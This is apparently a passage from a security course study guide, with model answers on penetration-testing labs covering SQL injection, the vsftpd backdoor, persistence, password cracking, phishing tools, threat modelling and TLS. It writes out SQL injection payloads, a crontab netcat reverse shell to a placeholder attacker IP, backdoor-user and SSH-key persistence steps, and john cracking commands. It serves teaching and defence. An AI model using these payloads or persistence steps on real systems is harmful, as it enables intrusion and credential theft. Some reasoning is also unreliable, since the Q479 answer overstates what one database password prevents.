Step 2 — Tautology injection: Payload ' OR 1=1# submitted as the user ID. The query becomes: SELECT \* FROM users WHERE user\_id = " OR 1=1#. The tautology (1=1 always true) returns all rows; the # comments out the remaining SQL. Defensive control: parameterised queries (prepared statements). The fix: SELECT \* FROM users WHERE user\_id = ? with the value bound separately — the database treats the entire input as a literal string, never re-parsing it as SQL. The tautology would be searched as a literal string, returning no results.

Step 3 — UNION SELECT extraction: Payload ' UNION SELECT user, password FROM users# extracts the users table including hashed passwords. The attacker determines column count and data types first. Defensive control (additional): database least privilege — the web application's database account should only have SELECT permission on the specific tables needed, not on the users/credentials table. The web app account should not be the DB root.

Step 4 — Hash extraction: The passwords are stored as MD5 hashes (e.g., 5f4dcc3b5aa765d61d8327deb882cf99 = 'password'). The attacker now has the username/hash pairs. Defensive control: proper password hashing — bcrypt, scrypt, or Argon2id with per-user salt and appropriate work factor. MD5 hashes compute billions per second on GPU hardware, making brute force trivial.

Step 5 — Offline cracking with rockyou.txt: Using John the Ripper or Hashcat with the rockyou.txt wordlist (14 million common passwords), the MD5 hashes crack rapidly. In the lab, 12,000 of 50,000 hashes cracked in 4 hours. Defensive control: strong password policy enforced at registration — screening against known breach password databases (HaveIBeenPwned API). Strong, unique passwords resist dictionary attacks even against fast hashing. Slow hashing makes the 12,000-crack-in-4-hours result infeasible.

Cumulative lesson: This is a compound failure — SQL injection + MD5 + common passwords + exposed database all compounded together. Fixing any one does not fix all; defence-in-depth requires addressing each.

**Q464: What is the difference between a proof-of-concept (PoC) and a weaponised exploit in penetration testing ethics? When should exploitation stop, and what makes a penetration test report actionable?**

**Model Answer:**

Proof-of-concept (PoC): The minimum demonstration needed to prove a vulnerability is exploitable and understand its actual impact. A PoC shows that the vulnerability is real and exploitable — it is not optimised for stealth, reliability, or capability expansion. Examples: running 'id' to show code execution as a specific user; reading a single file to prove filesystem access; taking a screenshot to prove VNC access is possible. The goal is to answer: 'Can this be exploited, and what is the impact if it is?'

Weaponised exploit: A fully developed, production-ready tool optimised for maximum capability, stealth, and impact. Designed for actual offensive use rather than demonstration. Examples: a polished Meterpreter payload with persistence, lateral movement capability, and AV evasion; an exploit that automatically extracts all credentials and establishes multiple backdoors.

When exploitation should stop in a professional test: The non-harm principle governs this. Exploitation should stop at the minimum evidence needed to demonstrate impact to the client. Stopping points: once RCE is confirmed (stop before establishing persistence that might survive into production), once file access is proven (stop before reading actual sensitive customer data that exceeds what the scope requires), once privilege escalation is demonstrated (stop before using elevated privileges to access systems outside scope). The penetration tester's job is to provide evidence to the client — not to conduct the most complete compromise possible.

What makes a penetration test report actionable: (1) Clear evidence: screenshots, command outputs, timestamps showing exactly what was done and what was found. (2) Reproducible steps: the client's own team must be able to re-test the finding after remediation. Vague descriptions ('SQL injection found on login page') are insufficient; exact payloads and steps are required. (3) Business impact statement: not just 'remote code execution possible' but 'remote code execution on the payment processing server would allow an attacker to read all payment card data in transit, affecting approximately 50,000 transactions per day.' (4) Prioritised recommendations: actionable, specific remediation guidance (not 'improve input validation' but 'replace line 47 of login.php with a parameterised query using PDO prepare/execute'). (5) Risk-based prioritisation: ordered by business risk considering CVSS score, asset criticality, and exposure, not just technical severity.

**Q465: In Lab 1, students are instructed to change the default kali/kali password immediately after setup, then to run three specific commands to update Kali Linux. Why is each of these steps a security requirement, not just a suggestion?**

**Model Answer:**

Changing the default password: The default kali/kali credentials are documented publicly in Kali Linux documentation, GitHub repositories, and security training resources — they are known to everyone. Any attacker who reaches the Kali VM (whether through network exposure, a misconfigured hypervisor, or shared lab infrastructure) has immediate root-equivalent access. Default credentials are zero-effort authentication bypass. This is the same problem demonstrated throughout the course labs on Metasploitable targets — the Kali environment should never exhibit the vulnerability it is designed to test for.

The three update commands and why each matters:

(1) apt update — refreshes the package metadata index from official Kali repositories. Without this, apt has no knowledge of recently published packages or security patches. Attempting to upgrade without updating the index may install outdated versions or fail entirely. It does not install anything — it only updates the local map of available packages.

(2) apt full-upgrade — installs all available security patches, dependency updates, and kernel updates. Unlike apt upgrade, full-upgrade can resolve dependency changes that require removing or installing additional packages. Kali ships with penetration testing tools that themselves have known CVEs — an unpatched Kali instance may be exploitable by the targets it is testing. More practically, tool versions affect lab accuracy: outdated Metasploit modules, Nmap scripts, or scanner databases may produce incorrect results.

(3) apt autoremove — removes packages that were installed as dependencies of other packages but are no longer required. Reduces disk usage and eliminates software that is no longer maintained or relevant, reducing the installed attack surface.

The underlying principle: the tester's environment must be trustworthy and current. A compromised or outdated testing platform undermines every assessment it performs — both its accuracy and its security.

**Q466: Lab 1 introduces the commands strings and grep for security analysis of files. Explain what each command does, give a concrete security use case for each, and explain why strings is particularly useful for analysing binary files.**

**Model Answer:**

strings: Extracts and prints all sequences of printable ASCII characters of a minimum length (default 4 characters) from any file, regardless of whether it is a text file or binary executable. It reads the raw bytes and outputs anything that looks like readable text.

Security use case: A suspicious binary found on a compromised system can be analysed with strings before detonating it. Running strings malware.bin may reveal: hard-coded IP addresses or domain names (C2 infrastructure), URL paths or API endpoints (exfiltration destinations), error messages and function names (revealing behaviour and capabilities), hard-coded passwords or API keys, registry key names (persistence mechanisms on Windows), and file paths accessed or written. This provides significant intelligence about the malware's intent and infrastructure without executing it — a form of static analysis.

Why strings is valuable for binaries: Binary executables, libraries, and packed files contain machine code mixed with readable data. Standard text editors and cat cannot usefully display binary files — they show

garbled output. strings filters out all non-printable bytes and outputs only the readable fragments, making embedded configuration data, error strings, and hard-coded values visible even within compiled code. It is often the first forensic step when examining unknown files.

grep: Searches files (or piped input) for lines matching a specified pattern (literal string or regular expression) and prints matching lines. Supports options like -i (case-insensitive), -r (recursive through directories), -n (show line numbers), -l (only show filenames).

Security use case: Searching for credentials in configuration files: `grep -r 'password' /var/www/` searches the entire web root recursively for lines containing 'password', which may reveal database passwords, API keys, or hardcoded credentials in PHP, Python, or configuration files. During post-exploitation on Metasploitable 2, `grep -r 'password' /etc/` revealed credentials in configuration files like `/etc/proftpd/sql.conf` and `/etc/dvwa/config.inc.php` — exactly the type of lateral-movement-enabling discovery demonstrated in Lab 3.

**Q467: In Lab 2, running `nmap -sV` against Metasploitable 2 reveals vsftpd version 2.3.4 on port 21. Explain exactly how a tester would use this single version string to find, validate, and demonstrate the vulnerability — without yet running any exploit.**

**Model Answer:**

Step 1 — CVE lookup: The version string vsftpd 2.3.4 is searched against CVE databases (NVD at [nvd.nist.gov](https://nvd.nist.gov), or simply searching 'vsftpd 2.3.4 vulnerability'). This immediately returns CVE-2011-2523 — a backdoor inserted into the vsftpd 2.3.4 source distribution that was downloaded between June 30 and July 3, 2011.

Step 2 — Understanding the vulnerability: CVE-2011-2523 describes a backdoor triggered by a username containing the string ':' (a smiley face) during an FTP authentication attempt. When triggered, the backdoor forks a process that binds `/bin/sh` to port 6200/tcp. The backdoor requires no valid credentials — the trigger is in the username field before authentication completes.

Step 3 — Validation without exploitation: The tester can confirm the vulnerability is present by: (a) Verifying the exact version string (2.3.4) as returned by Nessus or GVM scanning correlates to the vulnerable distribution. (b) Checking if port 6200 is already open (if it is, the backdoor may already have been triggered): `nmap -p 6200 10.0.2.4`. The Nessus/GVM scan itself flags CVE-2011-2523 as Critical (CVSS 9.8) providing scanner-validated evidence. (c) Consulting the Metasploit module info: `msfconsole → search vsftpd → use exploit/unix/ftp/vsftpd_234_backdoor → info` — reveals the trigger mechanism, affected versions, and expected outcome without running the exploit.

Step 4 — Evidence documentation before exploitation: Record the Nmap output showing version 2.3.4, the CVE reference, the scanner finding with CVSS score, and the Metasploit module information as evidence. This constitutes the validation step of the assessment workflow (is the version correct? does the CVE apply? what are the prerequisites?) before any active exploitation is attempted.

Why this matters as a process: This sequence — version detection → CVE research → module research → validation → then controlled exploitation — is the correct professional workflow. Running the Metasploit exploit without first understanding what it does, what version it targets, and what impact to expect is the definition of 'script kiddie' behaviour the course explicitly warns against.

**Q468: Lab 2 found that GVM/OpenVAS failed to scan Metasploitable 3 (Windows) at all, while Nessus successfully scanned it. What caused this difference, and what does it teach about tool**

## selection in professional assessments?

### Model Answer:

What happened: GVM (OpenVAS) attempted to scan both Metasploitable 2 (Linux) and Metasploitable 3 (Windows), but MS3 did not respond to GVM's host-discovery probes during the scan window. The host appeared unreachable to GVM. Nessus, using a Basic Network Scan template, successfully enumerated MS3 and found 15 critical and 22 high severity findings.

Likely technical causes: (1) Probe type differences: GVM and Nessus use different combinations of ICMP, TCP SYN, and UDP probes for host discovery. The Windows Server 2008 R2 firewall configuration on MS3 may respond differently to each tool's specific probe pattern. (2) Scan timing and parallelism: GVM's scan against MS2 may have been consuming resources or causing network state that interfered with simultaneous MS3 probing. (3) Windows-specific protocol handling: Nessus has historically had stronger Windows/SMB/WMI-based scanning capability, with Windows-optimised authentication and enumeration modules. GVM's NVT families are stronger on Linux targets. (4) Target configuration: The Vagrant-provisioned MS3 network stack may respond differently to the UDP/ICMP probes GVM uses.

What this teaches about professional tool selection: (1) No single scanner covers all targets equally. GVM found 14 critical findings on Linux (MS2) that Nessus found only 11 — GVM was more thorough for Linux. Nessus found the entire Windows host that GVM missed — Nessus is stronger for Windows. (2) Scanner results are not complete by definition — they reflect what the scanner's NVT/plugin database knows and can reach. A 'clean' scan result may mean the scanner failed to connect, not that no vulnerabilities exist. (3) Professional assessments use multiple tools. The course explicitly demonstrates this: Nmap for discovery and version detection, Nessus for broad Windows coverage, GVM for deeper Linux/Unix checks. Each tool's perspective reveals different findings. (4) Always verify host reachability before concluding a scan is complete — if a host shows zero findings, confirm the scanner actually reached it.

**Q469: In Lab 3, after gaining a root shell on Metasploitable 2 via the vsftpd backdoor, the lab identifies five distinct persistence mechanisms already built into the system and five additional mechanisms an attacker could install. List them and explain why persistence is a critical post-exploitation concept.**

### Model Answer:

Five persistence mechanisms already present on Metasploitable 2:

(1) Bindshell on port 1524 (Ingreslock): Hard-coded in inetd/xinetd configuration. A root bind shell always listening. Survives reboots. Requires no trigger — simply connecting with netcat gives a root shell.

(2) vsftpd 2.3.4 backdoor: Compiled directly into the FTP daemon binary. Triggered by ':' in username. Survives reboots. Persistent across sessions because it is the running service itself.

(3) UnrealIRCd 3.2.8.1 backdoor: Compiled into the IRC daemon. Triggered by 'AB' prefix in any IRC command. Same persistence model as vsftpd — embedded in the service binary.

(4) rlogin/rsh .rhosts trust files: File-based trust that survives reboots. Any host listed in .rhosts can log in without a password. Passive persistence — no code running, just a file granting access.

(5) Multiple default credentials (MySQL root with empty password, VNC password 'password', PostgreSQL postgres:postgres): Credential-based persistence accessible to anyone who knows defaults.

Five attacker-installable persistence mechanisms:

- (1) SSH key injection: Add attacker's public key to `/root/.ssh/authorized_keys`. Provides permanent passwordless root SSH access. Survives reboots. Difficult to detect without explicit file integrity monitoring.
- (2) New backdoor user in `/etc/passwd`: Add account with `uid=0` (root-equivalent) or normal UID with `sudo`. Survives reboots. May blend in if named credibly.
- (3) Crontab reverse shell: Add a cron entry running `nc -e /bin/bash [attacker_ip] [port]` every minute. Re-establishes connection after reboots and disconnections.
- (4) `/etc/rc.local` modification: Add reverse shell command to the boot startup script. Executes on every system boot.
- (5) Service binary replacement: Replace a legitimate service daemon (`vsftpd`, `apache2`) with a backdoored version that includes hidden functionality. Blends in with expected running services.

Why persistence matters: A single exploitation session ends when the connection closes or the system reboots. Persistence converts a temporary foothold into permanent access. In a real-world attack, an attacker who gains initial access immediately installs persistence before doing anything else — because detection, patching, or system restart would otherwise end the intrusion. For defenders, finding a persistence mechanism means the system should be treated as persistently compromised: the attacker may have had access for an unknown period and may still have active access even after the initial vector is closed.

**Q470: In Lab 3, the post-exploitation phase on Metasploitable 3 (NT AUTHORITY\SYSTEM via EternalBlue) found specific installed software. List the software found and explain why a CI/CD server (Jenkins) on a Windows Server 2008 R2 with known RCE vulnerabilities represents a particularly severe real-world risk scenario.**

**Model Answer:**

Installed software found on Metasploitable 3 (Windows Server 2008 R2): 7-Zip, Apache Software Foundation components, Elasticsearch 1.1.1, Java, Jenkins, OpenSSH, Rails\_Server, WordPress, GlassFish (Oracle).

Why Jenkins on an EOL Windows Server represents extreme risk:

Jenkins is a CI/CD (Continuous Integration/Continuous Deployment) server. Its role makes it a high-value, high-impact target for several compounding reasons:

- (1) Access to source code: Jenkins builds applications from source code. A compromised Jenkins server has read access to the entire codebase of every project it builds. An attacker can exfiltrate intellectual property, proprietary algorithms, and application source code.
- (2) Credential vault: Jenkins stores credentials for build pipelines — SSH keys for production servers, cloud provider API keys, database passwords, container registry tokens, and deployment keys. Post-exploitation credential harvesting from Jenkins yields credentials to every system the CI/CD pipeline touches.
- (3) Supply-chain injection: An attacker with control of Jenkins can modify build jobs to inject malicious code into the build artifact before it is deployed. Every application built by Jenkins becomes a potential supply-chain attack vector. This is one step above EternalBlue — from compromising one server to poisoning every application deployed from it.
- (4) Network pivot: Jenkins is often on a privileged internal network segment with access to production environments (to deploy to them). Using Jenkins as a pivot point, an attacker can reach production databases, application servers, and cloud infrastructure that are not directly accessible from the initial compromise point.

(5) EOL amplification: Windows Server 2008 R2 (EOL January 2020) will never receive a patch for EternalBlue or any subsequently discovered vulnerability. This is a permanent, unresolvable state. Every new Windows CVE after January 2020 is a permanent addition to this server's exploitable surface.

Combined risk: EternalBlue → NT AUTHORITY\SYSTEM on an EOL Windows server hosting Jenkins = direct path from public-facing SMB port to complete production code compromise, credential exfiltration, and supply-chain attack capability. Real-world equivalent: the SolarWinds supply-chain attack, which demonstrated precisely this attack path at scale.

**Q471: In Lab 3, a bcrypt hash with the password 'spongecola' was cracked using john and rockyou.txt. What does this result demonstrate, and what are the four conditions that together constitute a genuinely secure password storage system?**

**Model Answer:**

What the result demonstrates: bcrypt is one of the strongest currently-recommended password hashing algorithms. It is deliberately slow (making brute-force expensive), includes a built-in salt (preventing rainbow tables), and has a configurable work factor. Yet 'spongecola' was cracked because it appears in rockyou.txt — a wordlist compiled from real passwords leaked in data breaches.

The specific lesson: algorithm strength and password strength are both necessary. A computationally expensive hashing algorithm slows down cracking attempts but cannot prevent them entirely if the attacker has the right candidate on their wordlist. 'spongecola' is a specific word in a real leaked password list. bcrypt hashed it correctly — but the attacker's dictionary happened to contain it. If the password had been 'X7k#mQ9\$vp!n2Lw', bcrypt would have provided much stronger protection because no wordlist contains that string.

The four conditions for genuinely secure password storage:

(1) Algorithm: Use a purpose-built, slow password hashing function with a configurable work factor — Argon2id (current best practice), bcrypt, or scrypt. Never MD5, SHA-1, or SHA-256 for passwords (too fast). The work factor should be calibrated so that each hash attempt takes approximately 100ms-1 second — slow enough to make bulk cracking expensive, fast enough not to frustrate legitimate users.

(2) Per-user salt: A cryptographically random value unique to each password, incorporated into the hash. Prevents rainbow tables (precomputed hash lookups) and ensures identical passwords produce different hashes. Modern purpose-built password hashers (bcrypt, Argon2id) handle salting automatically.

(3) Password strength policy: Enforce minimum length (12+ characters), screen submitted passwords against known breach databases (HaveIBeenPwned API), and reject passwords found in common wordlists. Even bcrypt cannot protect 'password', 'qwerty', or 'spongecola'. Strong hashing buys time for investigation after a breach — weak passwords eliminate that window.

(4) Additional controls beyond hashing: MFA so that even a correctly cracked hash cannot be used without a second factor. Rate limiting and account lockout on online authentication to prevent online attacks. Monitoring for unusual authentication patterns. These controls operate before the hash is ever needed — preventing the scenario where hash extraction leads directly to account takeover.

**Q472: Lab 4 uses an analogy comparing a firewall to building security. Explain the analogy for each of the four firewall types covered in the course, matching the building security concept to the firewall behaviour.**

**Model Answer:**

The building security analogy helps make abstract firewall concepts concrete:

Static packet filter ↔ Basic entrance guard checking visitor badges: A static packet filter examines each packet's header information (source IP, destination IP, port, protocol) independently — like a guard who checks whether a visitor badge number is on an approved list. The guard checks each visitor in isolation without remembering previous visitors or understanding why they are visiting. Fast and simple, but the guard doesn't know if the badge is forged, whether the visitor is doing something suspicious once inside, or whether a sequence of visitors is part of a coordinated attack. Rule order matters like badge-list order.

Stateful inspection ↔ Guard who tracks visitors: A stateful firewall remembers connection state — it knows that an internal employee initiated a request to an external server, so when the response arrives, it is expected and legitimate. Like a guard who notes that Employee A went out at 9am and allows them back in at 10am, but refuses entry to someone who arrives claiming to be returning from a trip that was never logged going out. Rejects 'return traffic' for connections never initiated internally.

Circuit-level gateway ↔ Lobby receptionist who verifies appointments: A circuit-level gateway validates transport-level session establishment — it ensures a proper TCP handshake happened, verifying that a real connection was established before allowing traffic through. Like a receptionist who confirms a visitor has a scheduled appointment before calling ahead and escorting them to the meeting, but doesn't read their documents or verify what they discuss in the meeting. Once the session is established, content passes through without inspection.

Application-level gateway (proxy) ↔ Full security screening: An application proxy understands specific application protocols (HTTP, FTP, SMTP) — it terminates the connection, reads the content, applies application-specific rules, and only then forwards a new connection if permitted. Like a full airport-style security check: the guard reads documents, checks contents, verifies identity against multiple databases, and only allows specific items through. Highest security visibility but slowest and most complex to configure.

**Q473: In Lab 5, the DVWA web application exposes directory listing on its web root. What is directory listing, what does it reveal on Metasploitable 2, and what is the one-line fix?****Model Answer:**

Directory listing is a web server misconfiguration where, when a URL points to a directory that contains no index file (index.html, index.php), the web server automatically generates and serves a list of all files in that directory. A visitor to `http://target/dvwa/` would see a complete listing of every file and subdirectory rather than an error or a default page.

What directory listing revealed on Metasploitable 2: With directory listing enabled on the DVWA web root, an attacker could browse to `http://10.0.2.4/dvwa/` and navigate the entire DVWA directory structure. This exposed: configuration files including `config.inc.php`, which contained the database connection string with username root and a blank password in plaintext; SQL setup scripts showing table structure; source code files revealing application logic; backup files or temporary files left by developers; and sub-application directories with their own vulnerable configuration files. The configuration file discovery (root database access with blank password) was a direct escalation from web application vulnerability to database access credentials — obtained purely through browsing, before any SQL injection was attempted.

The one-line fix (Apache): Add `Options -Indexes` to the relevant `.htaccess` file or to the Apache site configuration for the virtual host. This disables directory listing for that directory and all subdirectories. The full directive:

## Options -Indexes

Alternatively, in the Apache configuration: a block with Options -Indexes for the web root.

Broader lesson: Information disclosure vulnerabilities often appear low-severity in isolation (CVSS 5.3 for phpinfo() exposure, for example) but are high-value as reconnaissance steps that enable and direct more severe attacks. Knowing the database username is 'root' and password is blank transforms a theoretical SQL injection into an immediately exploitable finding.

**Q474: In Lab 6, three resource-exhaustion attacks were run against Metasploitable 2: a parallel Nmap port scan, an HTTP flood at 500 concurrent requests, and an I/O-intensive disk operation. Which component each attack exhausted, what the observable symptom was, and which was most severe and why.**

### Model Answer:

The lab directly measured DoS effects using the top command to monitor CPU usage (%us user, %si software interrupts, %id idle) and Apache access logs:

(1) Parallel Nmap port scan → exhausted: network stack / CPU software interrupts. Observable symptom: %si (software interrupt percentage) jumped sharply — in the lab result this reached 99.0%si and 0.0%id. Nmap's parallel connection attempts generate large numbers of TCP SYN packets simultaneously. Each incoming packet requires kernel interrupt processing to determine which process (if any) is listening. With thousands of parallel probes, interrupt handling dominated CPU time. Application-level services (Apache, MySQL) continued responding but with increased latency. Severity: significant but recoverable — stops immediately when scan stops.

(2) HTTP flood at 500 concurrent requests → exhausted: Apache worker processes. Observable symptom: Apache worker count saturated. At 200 concurrent requests, moderate delays. At 500, severe timeouts and request failures. Apache's prefork or event model has a maximum number of concurrent worker processes. When all workers are busy handling the flood's requests, new legitimate requests queue and eventually time out. The database (MySQL) was unaffected; the bottleneck was the application layer. Severity: complete application unavailability for legitimate users while attack continues.

(3) I/O-intensive workload → exhausted: CPU + disk I/O simultaneously. Observable symptom: Most severe. Typing lag when executing commands, system-wide instability, multiple processes entering high CPU states. CPU wait time (%wa) spiked. This affected the entire OS, not just one service layer — MySQL, Apache, SSH, and interactive terminal sessions all degraded simultaneously. Severity: highest — directly consumed the two most fundamental resources (CPU and disk) at the OS level, causing system-wide degradation rather than single-service exhaustion.

Key lesson: The most damaging DoS technique in the lab was not the largest network attack but the one that targeted the most fundamental shared resources. Defence implications: CPU and disk quotas, I/O scheduling limits, and resource cgroup enforcement are as important as network-level rate limiting.

**Q475: In Lab 6, a brute force exercise used the bcrypt hash of 'spongecola'. The john command cracked it using rockyou.txt. Write the exact john command used, explain each component, and describe what the --show flag does after cracking.**

### Model Answer:

Exact command sequence:

First, decompress the wordlist (if compressed): `sudo gzip -d /usr/share/wordlists/rockyou.txt.gz`

The cracking command: `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`

Explanation of each component: `john` — invokes John the Ripper, an open-source offline password cracker. `--wordlist=/usr/share/wordlists/rockyou.txt` — specifies the dictionary file to use. `rockyou.txt` contains approximately 14 million real passwords leaked from the 2009 RockYou breach. It is the standard wordlist used in security courses and professional assessments because it reflects actual user password choices. `hash.txt` — the file containing the hash to crack. In this lab, it contained the `bcrypt` hash of 'spongecola'. John automatically detects the hash type (`bcrypt` = `$2y$` prefix) and selects the appropriate cracking algorithm.

What john does internally: Reads each word from `rockyou.txt`, hashes it using `bcrypt` with the salt embedded in the stored hash, and compares the result to the target hash. When they match, the password is found. `bcrypt`'s deliberate slowness (typically hundreds of milliseconds per attempt) means this takes longer than MD5 cracking but succeeds if the password is in the wordlist.

The `--show` flag: After cracking completes (or at any point during), `john --show hash.txt` displays all cracked passwords in the format `username:password` (or `hash:password` if no username). It reads John's pot file (the cache of previously cracked hashes at `~/.john/john.pot`) and shows which hashes have been successfully matched. This is the command used to retrieve and display results after the cracking session. In the lab: running `john --show hash.txt` after the wordlist attack would output `hash:spongecola`, confirming the cracked password.

Security implication reinforced: The john pot file persists cracked hashes across sessions. If the same hash appears in a future assessment, John will recognise it instantly from the pot file without re-running the attack.

**Q476: Lab 7 used both SET (Social Engineering Toolkit) and GoPhish for phishing simulations. Describe the technical difference between what each tool does, what outputs each produces, and what specific defence each lab exercise was designed to teach students to recognise.**

**Model Answer:**

SET (Social Engineering Toolkit) — Credential Harvester: SET is a command-line toolkit designed for social engineering assessments. The Credential Harvester feature: clones an existing login page from any URL, hosts it locally on the attacker machine (serves it via Python's built-in HTTP server on port 80), captures any credentials submitted to the cloned page, displays them in the terminal in real time, and optionally redirects the victim to the real site after capture. Output produced: a real-time terminal display of captured credentials (username:password pairs), and a summary log. The cloned page is indistinguishable from the real site to a non-technical user as long as they don't examine the URL.

Defence the SET exercise teaches students to recognise: (1) URL verification — the cloned page is served from a raw IP address (`http://127.0.0.1` in the lab, or an attacker IP in a real scenario), not the legitimate domain. Teaching: never enter credentials on a page reached via an IP address unless explicitly expected. (2) Certificate warnings — the SET page serves over HTTP, not HTTPS, or uses a self-signed certificate that triggers browser warnings. Teaching: treat certificate warnings as hard stops, not suggestions. (3) Urgency and authority in email text — the sample phishing email used urgency ('Urgent: Account Verification Required') and authority ('IT Support'). Teaching: these psychological triggers warrant extra verification, not faster compliance.

GoPhish — Campaign Management: GoPhish is a phishing simulation framework with a web-based dashboard. Its components: a Landing Page (HTML form that captures credentials), a Target Group (list of email recipients), an Email Template (the phishing message with embedded link to the landing page), and a

Campaign (combining all components). Unlike SET, GoPhish manages multi-target campaigns: it sends emails to a list, tracks who opened them, who clicked the link, and who submitted credentials — providing campaign metrics.

Defence the GoPhish exercise teaches: (1) Campaign structure awareness — understanding that phishing attacks are organised campaigns, not random one-offs. The metrics (open rate, click rate, credential submission rate) quantify organisational vulnerability. (2) Email indicator analysis — GoPhish-generated emails contain detectable indicators: the from address matches no legitimate corporate SPF/DKIM record, the link destination is a non-corporate domain, urgency language is present. (3) Organisational response: GoPhish results are used to measure baseline click rate and improvement over training cycles — demonstrating that simulated phishing is a measurement tool for security awareness programmes.

**Q477: In Lab 8, the Android health application was threat modelled using STRIDE. When the application evolved to include Bluetooth fitness device sync and cloud storage, the threat model had to be updated. Describe specifically which new components were added to the DFD and which new STRIDE threats each component introduced.**

**Model Answer:**

Original DFD components: User → Authentication Process → Health Data Management Process → Local Storage. One trust boundary: between the external user and the Android device.

New components added in the evolved fitness-tracker version:

(1) External fitness device (Bluetooth): A third-party hardware device (fitness tracker, smartwatch) connected via Bluetooth. Added to the DFD as a new external entity with a Bluetooth data flow to a new 'Data Processing/Cleaning Process' inside the Android trust boundary.

New STRIDE threats introduced: Spoofing — a malicious Bluetooth device spoofs the fitness tracker's identity, injecting fabricated data (false heart rates, activity metrics). Tampering — the Bluetooth data stream is modified in transit (Bluetooth interception or a rogue device). Information Disclosure — Bluetooth traffic can be sniffed by nearby devices; fitness data (sleep patterns, heart rate, location) reveals sensitive behavioural information. Denial of Service — Bluetooth jamming or flooding prevents the fitness tracker from communicating; malformed data packets crash the processing component. Repudiation — there is no proof of which device sent which data when multiple devices could interact with the app.

(2) Cloud storage service: A remote cloud server for backup and cross-device sync. Added as a new external entity with a data flow across a new trust boundary (Android device ↔ Cloud).

New STRIDE threats introduced: Spoofing — a malicious service impersonates the legitimate cloud provider (MITM on the HTTPS connection, fake app backend). Tampering — an authorised cloud account is compromised and data is altered by an attacker or the cloud provider itself. Information Disclosure — cloud storage breach exposes the entire fitness history; metadata (sync frequency, data volumes) reveals behaviour patterns. Denial of Service — cloud service outage prevents sync and potentially prevents offline access if the app relies on cloud validation. Elevation of Privilege — a compromised cloud account credential allows the attacker to access data for all users sharing that account or admin access to the cloud service.

Broader lesson: Adding external dependencies (third-party devices, cloud services) always expands the attack surface and requires the threat model to be updated. The original model had one trust boundary; the evolved model has three. Each new boundary introduces new spoofing, tampering, and disclosure threats that did not exist before.

**Q478: In Lab 9, students analysed the TLS configuration of github.com using SSL Labs. The result was an A+ rating supporting TLS 1.3 and TLS 1.2 but not TLS 1.0 or 1.1. Explain exactly what security properties this configuration profile demonstrates, why TLS 1.0 and 1.1 are disabled, and what the cipher suite TLS\_ECDHE\_RSA\_WITH\_AES\_128\_GCM\_SHA256 means component by component.**

**Model Answer:**

What an A+ SSL Labs rating demonstrates: The server uses only modern, secure TLS versions and cipher suites; the certificate chain is valid, uses strong key material, and has a long validity; HSTS is enabled with a long max-age; no known vulnerability is present (no POODLE, BEAST, CRIME, DROWN, HEARTBLEED, ROBOT). It is the practical baseline for a well-configured public HTTPS server.

Why TLS 1.0 and 1.1 are disabled: TLS 1.0 (1999) and TLS 1.1 (2006) contain several known cryptographic weaknesses: BEAST attack exploits CBC-mode weakness in TLS 1.0 (though browser mitigations exist); POODLE SSLv3-style attacks were extended to TLS 1.0 in some configurations; MD5 and SHA-1 are permitted in TLS 1.0/1.1 cipher suites. Both versions support RC4 (broken stream cipher) and export-grade cipher suites. RFC 8996 (2021) formally deprecates TLS 1.0 and 1.1. Major browsers (Chrome, Firefox, Safari, Edge) removed support in 2020. Leaving them enabled means supporting clients that may negotiate the weakest mutually supported version — downgrade attack surface. Disabling forces all clients to use TLS 1.2 or 1.3.

Cipher suite TLS\_ECDHE\_RSA\_WITH\_AES\_128\_GCM\_SHA256 — component analysis:

TLS — the protocol context (Transport Layer Security).

ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) — the key exchange algorithm. ECDH provides the shared secret; 'Ephemeral' means a fresh key pair is generated per session, providing forward secrecy. Compromise of the server's long-term RSA private key does not allow decryption of past sessions.

RSA — the authentication mechanism. The server's certificate uses an RSA key, and RSA is used to authenticate the server's identity during the handshake (via the certificate signature).

AES\_128\_GCM — the symmetric cipher for bulk data encryption. AES-128 (128-bit key) in GCM mode — AEAD providing both confidentiality and integrity/authenticity. GCM is authenticated encryption; modification of any ciphertext byte is detected.

SHA256 — the pseudorandom function (PRF) used in the TLS record protocol for key derivation and MAC operations during the session.

**Q479: Across Labs 2, 3, and 5, three different attack paths all ultimately resulted in accessing the DVWA MySQL database. Describe all three paths, explain how each one demonstrates a different layer of the same system's failure, and what single security control would have prevented the most damage across all three.**

**Model Answer:**

Three paths to the DVWA MySQL database:

Path 1 (Lab 2 — Service exposure): Nmap -sV reveals MySQL on port 3306. GVM scanner discovers the database is accessible from the network with root credentials and blank password. Direct connection: mysql -h 10.0.2.4 -u root — no authentication required. This path requires no application-layer attack — MySQL itself is directly network-exposed with no password on the root account. Layer failure: network access control

(no firewall rule restricting port 3306 to localhost) and authentication (blank root password).

Path 2 (Lab 5 — SQL injection): DVWA is running on port 80. The user ID parameter is injectable: ' OR 1=1# returns all users. UNION SELECT user, password FROM users extracts the users table. The web application acts as an intermediary — SQL injection against the PHP application reaches the MySQL database on port 3306 (which is bound to localhost, not directly accessible from the network in this scenario). Layer failure: application code (no prepared statements, direct string concatenation into SQL queries). The network-level control was partially in place — MySQL on localhost — but the application layer bridged past it.

Path 3 (Lab 3 — Post-exploitation file access): After gaining root shell via vsftpd backdoor, the entire filesystem is accessible. cat /var/www/dvwa/config/config.inc.php reveals the DVWA database configuration in plaintext: host=localhost, user=root, password=". Reading configuration files gives both the credentials and the database structure. Layer failure: secrets management (plaintext credentials in application configuration files accessible by the web server process and by anyone with root access).

Single control preventing the most damage across all three: A strong, unique MySQL root password addresses all three paths simultaneously. Path 1 fails because the direct connection requires authentication. Path 2 fails because the SQL injection, even if it executes queries, does so as the web application's database account — if that account is also properly scoped with least privilege (only SELECT on the users table, not all tables), the damage is contained. Path 3 fails because the config file reveals credentials that no longer work. A broader answer combining strong password + binding MySQL to localhost (already true for Path 2) + application-specific low-privilege database account (defence-in-depth) would be the complete fix.

**Q480: Lab 3 uses four distinct Netcat command patterns. Write each command, state whether it is the listener or connector side, and explain precisely what it does and when you would use each.**

**Model Answer:**

Netcat (nc) is a lightweight TCP/UDP networking utility used in the labs to demonstrate shells and file transfer over raw network streams. Four key patterns:

(1) nc -lvp — Listener, empty pipe. Flags: -l (listen for incoming connection), -v (verbose output), -n (numeric addresses, no DNS lookup), -p (specify port). What it does: opens a TCP listener on the specified port and waits for an incoming connection. Once connected, anything typed on either side passes through to the other. When to use: first step in testing whether a port is reachable; receiving side of file transfers; waiting for a reverse shell callback.

